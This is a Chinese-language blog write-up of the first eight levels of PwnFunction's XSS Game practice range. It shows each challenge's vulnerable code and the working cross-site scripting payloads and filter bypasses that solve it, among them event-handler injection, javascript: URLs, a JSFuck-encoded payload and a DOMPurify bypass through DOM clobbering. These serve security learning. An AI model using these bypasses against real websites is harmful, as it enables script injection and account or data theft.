XSS漏洞复现

小试牛刀(前8关)

靶场地址:XSS Game - Learning XSS Made Simple! | Created by PwnFunction

第一关

要求:
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.

代码:
<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

首先我们判断他的可以传参的点,发现在倒数第二行代码处.

<script>alert(1337)<script>    发现被过滤了

 

我就去查找了 innerHTML的用法

但是我们会发现还有一个标签没有被过滤可以执行js代码

<img src=1 onerror="alert(1337)">

 第二关

要求:
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.

<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

 看到源码判断漏洞点  eval(`ma = "Ma name ${jeff}"`),看到前端页面初步判断这应该是漏洞点

 aaa输出到了JEFFF的位置了.

很显然alert(1337)被当作字符串输出到页面了 ,想想应该是那个双引号的影响,就联想到sql中逃逸  " 闭合

aaa"alert(1337)"

 

 出现了语法错误,前端直接不显示了,查看官方文档发现前端中用 - 来连接语句。

aaa"-alert(1337)-"

第三关 

<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

我们发现和第一关有类似之处,后面发现 replace(/[<>]/g, '')。他有个过滤,我们第一关的方法行不通了。再想想之前学过的知识有什么函数可以执行js也没有用到<>呢?

"onfocus=alert(1337)"

查询到这个函数可以执行js也没有用到<>,

然后发现onfocus需要用户操作交互才能触发所以不符合关卡要求,通过文档得知autofocus可以自动聚焦触发js.

aaaa"onfocus=alert(1337)%20autofocus="

 

第四关 

<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

这一关没有做什么限制,找到传参点

ricardo.submit() 发现这里有个提交没做任何限制就直接上传js

javascript:alert(1337)

第五关 

<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

看到题目,发现和前几关类似,但是这次过滤不同,没有过滤<>那就可以用img标签。

<img src=1 onerror="alert(1337)">

 

但是括号被过滤,这里我们就想着给括号编码,

<img src=1 onerror="alert%25281337%2529">

结果发现并没有对28,29进行编码 ,是什么原因呢是不是把它当成一整字符串了,所以没有编码通过查资料得知payload,查了location的用法是

<img src=1 onerror=location="javascript:alert%25281337%2529">

 第六关

balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

一道字母数字的绕过,想到的第一个方向就是通过编码译码来绕过,使用jsfuck工具编码

balls = balls.replace(/[A-Za-z0-9]/g, '')   这应该就是漏洞点了

 

?balls=%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D%5D((!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(+%5B!%5B%5D%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+!+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(+(!+%5B%5D+!+%5B%5D+!+%5B%5D+%5B+!+%5B%5D%5D))%5B(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(%5B%5D+%5B%5D)%5B(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D%5D%5B(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+((+%5B%5D)%5B(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(%5B%5D%5B%5B%5D%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B+!+%5B%5D+%5B+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D%5D+%5B%5D)%5B+!+%5B%5D+%5B+!+%5B%5D%5D%5D+(!!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D%5D%5D(!+%5B%5D+!+%5B%5D+!+%5B%5D+%5B!+%5B%5D+!+%5B%5D%5D)+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D)()((!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D+%5B%5D)%5B+!+%5B%5D+%5B!+%5B%5D+!+%5B%5D+!+%5B%5D%5D%5D+%5B+!+%5B%5D%5D+(%5B+%5B%5D%5D+!%5B%5D+%5B%5D%5B(!%5B%5D+%5B%5D)%5B+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B!+%5B%5D+!+%5B%5D%5D+(!%5B%5D+%5B%5D)%5B+!+%5B%5D%5D+(!!%5B%5D+%5B%5D)%5B+%5B%5D%5D%5D)%5B!+%5B%5D+!+%5B%5D+%5B+%5B%5D%5D%5D)

 

 第七关

mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

 

 我们看到这一关过滤了很多,最主要过滤了/alert/,但是他没有过滤大写,但是html是严格区分大小写的,这就很头疼,但是想到了官方给出了这么一个函数Function.

这样我们就可以解决这个难题,查看了他的用法就开始构造payload,也想到前端有个函数可以将大写转化为小写。

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

不知道我是什么原因toLowerCase这个函数用不了,但是eval(mafia)我也可以利用,location的作用前面的关卡已经说到了,slice(1)从后往前截取第一个。

eval(location.hash.slice(1))#alert(1337)

 第八关

<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

我们看到有两个限制函数DOMPurify,innerHTML 。DOMPurify在网上开源的,可以查到他的黑白名单。

 之后我们来看看漏洞点, setTimeout(ok, 2000)这个语句。

setTimeout ()可以执行函数,那要怎么进到这个函数里面呢,我们就需要构造ok。

?<a id=ok href=tel:alert(1337)>

a标签是在白名单内的,id=ok作为标识符,再利用锚点标签的 href 属性,构造一个电话协议的url

alert(1337)一个js的函数调用。这里为什么用tel因为他在DOMPurify的白名单内。

  • 7
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值